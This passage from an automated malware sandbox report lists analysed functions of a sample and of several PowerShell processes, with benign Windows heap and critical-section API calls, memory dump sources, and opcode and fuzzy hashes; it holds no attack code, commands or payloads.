                                                                                          • Instruction Fuzzy Hash: 6C2115B5604209EFCB04DF95D884FAAB7B9EB49354F10C169F8099B390D735EA81CB98
                                                                                          Function 0040DB18 Relevance: 5.1, APIs: 4, Instructions: 56memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • EnterCriticalSection.KERNEL32(00000020,00000000,?,00000000,0040B455,00000000,?,?,00000000,00403350,00000000,00000000,00000000,00000000,?,00000000), ref: 0040DB23
                                                                                          • HeapReAlloc.KERNEL32(00000008,?,?,?,00000000,0040B455,00000000,?,?,00000000,00403350,00000000,00000000,00000000,00000000,?), ref: 0040DB63
                                                                                          • LeaveCriticalSection.KERNEL32(00000020,?,00000000,0040B455,00000000,?,?,00000000,00403350,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0040DB9E
                                                                                            • Part of subcall function 0040E1F2: HeapAlloc.KERNEL32(00000008,00000000,0040DA6C,00418670,00000014,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000), ref: 0040E1FE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocCriticalHeapSection$EnterLeave
                                                                                          • String ID:
                                                                                          • API String ID: 830345296-0
                                                                                          • Opcode ID: 5d9d41e9d09ba23bc41a935226fc724bd5eb564a4c229014a10cb91462bf3418
                                                                                          • Instruction ID: 234cd8b738bfcb23ec7c58dff1098e76d365aadfe99366d65fb7203dd4a6e8aa
                                                                                          • Opcode Fuzzy Hash: 5d9d41e9d09ba23bc41a935226fc724bd5eb564a4c229014a10cb91462bf3418
                                                                                          • Instruction Fuzzy Hash: 6A113D72504710AFC3208F68DC40D56BBFAEB48721B15892EE596E36A0CB34F844CB65
                                                                                          Function 0040DD5D Relevance: 5.0, APIs: 4, Instructions: 44memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • EnterCriticalSection.KERNEL32(00000020,?,00000000,00000200,0040E03E,00000000,00000000,?,0040A568,?,00000000,00000200,?,?,0040A46F,00000200), ref: 0040DD6F
                                                                                          • HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040E03E,00000000,00000000,?,0040A568,?,00000000,00000200,?,?,0040A46F), ref: 0040DD86
                                                                                          • HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040E03E,00000000,00000000,?,0040A568,?,00000000,00000200,?,?,0040A46F), ref: 0040DDA2
                                                                                          • LeaveCriticalSection.KERNEL32(00000020,?,00000000,00000200,0040E03E,00000000,00000000,?,0040A568,?,00000000,00000200,?,?,0040A46F,00000200), ref: 0040DDBF
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalFreeHeapSection$EnterLeave
                                                                                          • String ID:
                                                                                          • API String ID: 1298188129-0
                                                                                          • Opcode ID: b3beb58b6f71b40006eb08016dd7c334f266477d507c334884bffe37f11cccde
                                                                                          • Instruction ID: 339acd6113cd15283fdaf2d24efa5c6700350868ea18a16039eb98c455fe0077
                                                                                          • Opcode Fuzzy Hash: b3beb58b6f71b40006eb08016dd7c334f266477d507c334884bffe37f11cccde
                                                                                          • Instruction Fuzzy Hash: 7C012C71A0161ABFC7108F96ED049A7FB78FF49751345817AA804A7664D734E824CFE8
                                                                                          Function 0040A54F Relevance: 5.0, APIs: 4, Instructions: 43memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 0040A79A: memset.MSVCRT ref: 0040A802
                                                                                            • Part of subcall function 0040DFC6: EnterCriticalSection.KERNEL32(00418684,00000200,00000000,?,0040A568,?,00000000,00000200,?,?,0040A46F,00000200,?,?,?,004010C3), ref: 0040DFDA
                                                                                            • Part of subcall function 0040DFC6: HeapFree.KERNEL32(00000000,?,?,0040A568,?,00000000,00000200,?,?,0040A46F,00000200,?,?,?,004010C3,00000004), ref: 0040E028
                                                                                            • Part of subcall function 0040DFC6: LeaveCriticalSection.KERNEL32(00418684,?,0040A568,?,00000000,00000200,?,?,0040A46F,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040E02F
                                                                                          • HeapFree.KERNEL32(00000000,?,?,00000000,00000200,?,?,0040A46F,00000200,?,?,?,004010C3,00000004,00000015,00000000), ref: 0040A57A
                                                                                          • HeapFree.KERNEL32(00000000,?,?,?,0040A46F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A586
                                                                                          • HeapFree.KERNEL32(00000000,?,?,?,?,0040A46F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 0040A59A
                                                                                          • HeapFree.KERNEL32(00000000,00000000,?,?,0040A46F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A5B0
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: FreeHeap$CriticalSection$EnterLeavememset
                                                                                          • String ID:
                                                                                          • API String ID: 4254243056-0
                                                                                          • Opcode ID: 9b91829c39ba2b5ec3bef2853771c0dd8412306e6433636457154be9583086ba
                                                                                          • Instruction ID: 62ba4ec21453903b754b53d00370c9fddb20f7a3713721c865cfde946388869e
                                                                                          • Opcode Fuzzy Hash: 9b91829c39ba2b5ec3bef2853771c0dd8412306e6433636457154be9583086ba
                                                                                          • Instruction Fuzzy Hash: B5F04471105209BFC6125B16DD40C57BF7DFF49798342412AB40463570CB36ED75DBA8

                                                                                          Executed Functions

                                                                                          Function 00007FFD34844073 Relevance: .2, Instructions: 183COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000019.00000002.2377751556.00007FFD34840000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34840000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_25_2_7ffd34840000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 02f22231061b7c46bca815dc5500b3f1556228ec92d8f5b071ab4f3f535526bf
                                                                                          • Instruction ID: be2c3fe4c9209fb5d4d9b3ea25328e98cccf23cee6d2c2f89497b90862d738e3
                                                                                          • Opcode Fuzzy Hash: 02f22231061b7c46bca815dc5500b3f1556228ec92d8f5b071ab4f3f535526bf
                                                                                          • Instruction Fuzzy Hash: 4B512522B0DE9A0FE7E9DB1C44A117477D2EF9A720B1801BAC24EC7393DD18EC158341
                                                                                          Function 00007FFD34779748 Relevance: .1, Instructions: 143COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000019.00000002.2377288300.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_25_2_7ffd34770000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: e0b813e6994b377a2515103f08dd877ab3c5406795ee605e78da453b754f177b
                                                                                          • Instruction ID: 4766a64e325c3549a3dd43cacf73390bc247576ba3779c709fcddc9dab550dba
                                                                                          • Opcode Fuzzy Hash: e0b813e6994b377a2515103f08dd877ab3c5406795ee605e78da453b754f177b
                                                                                          • Instruction Fuzzy Hash: 66410671A1DB888FEB089F5C9C5A6A97BE0FB95311F00416FE049C3252DA64B856CBC2
                                                                                          Function 00007FFD3477A49C Relevance: .1, Instructions: 99COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000019.00000002.2377288300.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_25_2_7ffd34770000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: bb2cce8641d86e549bf8c81561d82bff36c757327e2ecd8669ca58d3c0f589f5
                                                                                          • Instruction ID: a3d02055cab902868b8f64a936cb561dc1102ae4d92fd9d734824d96320e15d4
                                                                                          • Opcode Fuzzy Hash: bb2cce8641d86e549bf8c81561d82bff36c757327e2ecd8669ca58d3c0f589f5
                                                                                          • Instruction Fuzzy Hash: A521063190CB4C8FEB59DBAC9C4A7E97FE0EB96321F04416BD048C3152DA75A816CB92
                                                                                          Function 00007FFD348440BF Relevance: .1, Instructions: 96COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000019.00000002.2377751556.00007FFD34840000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34840000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_25_2_7ffd34840000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 1d72c7ce0cdcb4ce547d72e2b3393da9678f18df2ff7a11554b09bd1db1e368e
                                                                                          • Instruction ID: c976631e37ad60156d969bb95d5fc31c98e0de0fd8ebc5c9ca742fc020240f0d
                                                                                          • Opcode Fuzzy Hash: 1d72c7ce0cdcb4ce547d72e2b3393da9678f18df2ff7a11554b09bd1db1e368e
                                                                                          • Instruction Fuzzy Hash: B821D023B0EA974FE7E9DB1844B117466D2EF6A714B5901BAD24EC73A3CE2CEC149301
                                                                                          Function 00007FFD3484681E Relevance: .1, Instructions: 60COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000019.00000002.2377751556.00007FFD34840000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34840000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_25_2_7ffd34840000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: fc120fa896c26b7aa0e1e81f405f54f1f3a662688459dd55c238861bde43faf8
                                                                                          • Instruction ID: 05a5f9c747fefc10e1660c34fd8e80ee1659bd8927824b29764c4762f1264cb1
                                                                                          • Opcode Fuzzy Hash: fc120fa896c26b7aa0e1e81f405f54f1f3a662688459dd55c238861bde43faf8
                                                                                          • Instruction Fuzzy Hash: F8110A32B0D6894FE791DF9840E4568BBD1EF5A320F0440BFC54DE7293D92C5845D310
                                                                                          Function 00007FFD348443CA Relevance: .1, Instructions: 60COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000019.00000002.2377751556.00007FFD34840000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34840000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_25_2_7ffd34840000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 98f67183c2192830f6d0d692aa3cbddbb0f870a6a2fb949d9c30815bbf6871db
                                                                                          • Instruction ID: b815b2b777c87657583f15b613db95544af0d109f8ce2f80038c3871542ad4e8
                                                                                          • Opcode Fuzzy Hash: 98f67183c2192830f6d0d692aa3cbddbb0f870a6a2fb949d9c30815bbf6871db
                                                                                          • Instruction Fuzzy Hash: EE11E532B0E9854FD6A1D71C94A49B87BD1EF4AB2471900F6D15DD7293D91EAC14C341
                                                                                          Function 00007FFD3465EEC1 Relevance: .1, Instructions: 52COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000019.00000002.2376833385.00007FFD3465D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD3465D000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_25_2_7ffd3465d000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: f1d7a7677ac3fe8a35765000e0d0f98024984640490254c00b4233e819b6e799
                                                                                          • Instruction ID: 0f8c4590eee341ef193612dcc2fcdcd045e454ab6166ff580ba622aa079f7449
                                                                                          • Opcode Fuzzy Hash: f1d7a7677ac3fe8a35765000e0d0f98024984640490254c00b4233e819b6e799
                                                                                          • Instruction Fuzzy Hash: 9F01623160CE088F9FA4EF1DE48599637E1FB98320710069AD41EC7559D735F891CBC1
                                                                                          Function 00007FFD347733B5 Relevance: .0, Instructions: 49COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000019.00000002.2377288300.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_25_2_7ffd34770000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
                                                                                          • Instruction ID: 2cc47b0ba0fdde9b7c4ba52e5ec4494637230a7301f5fb9479e41aed1cd45b64
                                                                                          • Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
                                                                                          • Instruction Fuzzy Hash: 6D01677121CB0C8FD754EF0CE451AB5B7E0FB95364F50056DE58AC3691DA36E882CB45
                                                                                          Function 00007FFD34779CF8 Relevance: .0, Instructions: 38COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000019.00000002.2377288300.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_25_2_7ffd34770000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: f6e1df9a545bfc95ebecfeb27c0746cb58373f28f2eaa4945de2f0c05b1aa084
                                                                                          • Instruction ID: e2dc8ef1aa6af1968f48fa38e2c9a4d84300e8dd8e24bee8d2005983a7f49ffd
                                                                                          • Opcode Fuzzy Hash: f6e1df9a545bfc95ebecfeb27c0746cb58373f28f2eaa4945de2f0c05b1aa084
                                                                                          • Instruction Fuzzy Hash: 87F02B718086898FEB46DF288C594E57FE0EF17310F05429BD548C70A2DB65A458CBC2

                                                                                          Non-executed Functions

                                                                                          Function 00007FFD347785D3 Relevance: 5.2, Strings: 4, Instructions: 222COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000019.00000002.2377288300.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_25_2_7ffd34770000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: N_^$N_^$N_^$N_^
                                                                                          • API String ID: 0-3900292545
                                                                                          • Opcode ID: 246cabff7efd97b6cb8bc808151d5355dafa9c009befe09b0e35428e085ccc8b
                                                                                          • Instruction ID: 79c1c2410674bc2cb0f9b331392902bb9c1fb02b384e1c762485ff83f8218098
                                                                                          • Opcode Fuzzy Hash: 246cabff7efd97b6cb8bc808151d5355dafa9c009befe09b0e35428e085ccc8b
                                                                                          • Instruction Fuzzy Hash: 09610793E0EBC29BE35242298CF51A53FD0EF13364B5A44F6C789CB183EC5D38469292

                                                                                          Executed Functions

                                                                                          Function 00007FFD3479604D Relevance: .8, Instructions: 817COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2512344474.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 408e2b9af51cfcf9a8a2d6d47bfc3178fdb0475a0ca2a087e714124de181a90b
                                                                                          • Instruction ID: 79850e42ad741a5af9d77e69f5e659f81ab90a7f70c64ac481c599fbbbf207d5
                                                                                          • Opcode Fuzzy Hash: 408e2b9af51cfcf9a8a2d6d47bfc3178fdb0475a0ca2a087e714124de181a90b
                                                                                          • Instruction Fuzzy Hash: 03C1A897B0CA935BE321A7AC68B70FE3BA4DF532797080277D288C9063DD1D645B92D1
                                                                                          Function 00007FFD34799708 Relevance: 1.4, Strings: 1, Instructions: 167COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2512344474.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: WC
                                                                                          • API String ID: 0-992537601
                                                                                          • Opcode ID: 7d63ca819aecdee0ddf350cfc59e2c0d2498329d1512fb24ee614ecd7e62891e
                                                                                          • Instruction ID: 8bd947338d0556fe28bd6b6d31c101d9282f8fa5862bb165a87205384fa29dd1
                                                                                          • Opcode Fuzzy Hash: 7d63ca819aecdee0ddf350cfc59e2c0d2498329d1512fb24ee614ecd7e62891e
                                                                                          • Instruction Fuzzy Hash: F551FBB190DAC89FEB159B1C5C5A2A97BE0FB56310F04417FD18983293DE34A856CBC2
                                                                                          Function 00007FFD3479A838 Relevance: .2, Instructions: 194COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2512344474.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: f4e5fa461366ce5533d1c2470a6cb6122a941872c3cb18fc7422f5837509441d
                                                                                          • Instruction ID: 0bdb6fe82b680d15e91c539e4094b8c42124d21cda71784a904da0749412cd75
                                                                                          • Opcode Fuzzy Hash: f4e5fa461366ce5533d1c2470a6cb6122a941872c3cb18fc7422f5837509441d
                                                                                          • Instruction Fuzzy Hash: 9351277160DBC59FE74ADB28C8E58647BE0FF57324B1801AED589C71A3EA29B807C741
                                                                                          Function 00007FFD34793428 Relevance: .1, Instructions: 134COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2512344474.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 99f874d232dae3207a03a9f0d706a831e536a5cccd84a23ae2df9501405817b4
                                                                                          • Instruction ID: 5cffe337bb8afba90664053a5ea590646e4aa774ff590d433290537c889843f1
                                                                                          • Opcode Fuzzy Hash: 99f874d232dae3207a03a9f0d706a831e536a5cccd84a23ae2df9501405817b4
                                                                                          • Instruction Fuzzy Hash: 6D41B36660E7C28FE753876858B60E93FB0EF4722070A01EBC5D4CB0A3D9196807D7A2
                                                                                          Function 00007FFD3467ED40 Relevance: .1, Instructions: 125COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2507383323.00007FFD3467D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD3467D000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd3467d000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: f7cf618178a83a107c9ebc8b93eca9eceaac6a40a1218f5ec7c926883eb4abe2
                                                                                          • Instruction ID: db4053749aed92d965563a32e5529a15b4a325e77329220a6fff1b5d4e387aac
                                                                                          • Opcode Fuzzy Hash: f7cf618178a83a107c9ebc8b93eca9eceaac6a40a1218f5ec7c926883eb4abe2
                                                                                          • Instruction Fuzzy Hash: 6E41F37040DBC44FE7569B29DC959A23FF0EF57320B1946DFD088CB1A3D629A84AC792
                                                                                          Function 00007FFD3479A778 Relevance: .1, Instructions: 98COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2512344474.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 4d9ba382f2400501fc170c23a3bc7e527391b6f5be39b32b01e695138b06961d
                                                                                          • Instruction ID: 212252019440f71b24d3251802d0fc5707b1e00ea18e4dc222eba388030049e1
                                                                                          • Opcode Fuzzy Hash: 4d9ba382f2400501fc170c23a3bc7e527391b6f5be39b32b01e695138b06961d
                                                                                          • Instruction Fuzzy Hash: 1521F27090CA4C8FDB58DF9C984A7FA7BE0EB96321F04816FD049C3112D674A856CB92
                                                                                          Function 00007FFD3486681E Relevance: .1, Instructions: 60COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2513337275.00007FFD34860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34860000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34860000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 2ba6d4acadbc30a9f159bdd78154fb332fc3b3ac76976379eeb9c9c3877b88b2
                                                                                          • Instruction ID: e0e5e66f5fbfce5b48c4859ee778a8dda32b5ec92d1d8cf0e7d93abe845cdc13
                                                                                          • Opcode Fuzzy Hash: 2ba6d4acadbc30a9f159bdd78154fb332fc3b3ac76976379eeb9c9c3877b88b2
                                                                                          • Instruction Fuzzy Hash: EE11E332B0D6C94FEBD1DFA880A45A87BD1EF5A320F4440BFC64DE7193DA28A845D350
                                                                                          Function 00007FFD347933B5 Relevance: .0, Instructions: 49COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2512344474.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
                                                                                          • Instruction ID: 7f35bd5044578bf9c0f8abe52516a2319000a2064556ee323e06116b507f2bf6
                                                                                          • Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
                                                                                          • Instruction Fuzzy Hash: 6701677125CB0C8FD744EF0CE451AA5B7E0FB99364F10056DE58AC3651DA36E882CB45
                                                                                          Function 00007FFD34799CF8 Relevance: .0, Instructions: 38COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2512344474.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 405c58cac63e2ca5b0471ce8020c09ca8eec23c1979971a646614c44ae6965e8
                                                                                          • Instruction ID: b8fca14fb8e1cd8cf1e106e19a155d4257aea9d9582281c92986d37bd135a305
                                                                                          • Opcode Fuzzy Hash: 405c58cac63e2ca5b0471ce8020c09ca8eec23c1979971a646614c44ae6965e8
                                                                                          • Instruction Fuzzy Hash: 97F0BB718086898FEB46DF2888595D5BFA0EF57310F050297D458C71A2DB65A558CBC2
                                                                                          Function 00007FFD3486414D Relevance: .0, Instructions: 37COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2513337275.00007FFD34860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34860000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34860000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 508ea48616a51fb25ec524fe536c027f2d5deb6276aa42ed841fed17b9faa5c4
                                                                                          • Instruction ID: 6e637dc0419a70d2d62ba7f5fea8be4d64e0c46e6ea5219b2a99bf7e3ab1fee8
                                                                                          • Opcode Fuzzy Hash: 508ea48616a51fb25ec524fe536c027f2d5deb6276aa42ed841fed17b9faa5c4
                                                                                          • Instruction Fuzzy Hash: 68F0BE32B0CA048FD7A9EB4CE4904E873E1EF5633075100BAE25DCB163CA2AEC40CB44
                                                                                          Function 00007FFD34864400 Relevance: .0, Instructions: 35COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2513337275.00007FFD34860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34860000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34860000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b9e4aae9fab1e403a3aea591443ef1b42e89e85084f1046eb34f19caa9d49aaf
                                                                                          • Instruction ID: e925af30dd54644d6ac212ea00d1de0ec528806acaa935565170f93787b07be0
                                                                                          • Opcode Fuzzy Hash: b9e4aae9fab1e403a3aea591443ef1b42e89e85084f1046eb34f19caa9d49aaf
                                                                                          • Instruction Fuzzy Hash: F3F0BE32A0D5448FD795EB4CE0914E873E0FF06724B8100B6E24DCB163DA2AAC40C780
                                                                                          Function 00007FFD348641D1 Relevance: .0, Instructions: 29COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2513337275.00007FFD34860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34860000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34860000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                                                          • Instruction ID: ee9586f07496c1bd1986fd336a253b726326e321646279f7fa3f18427cd421a5
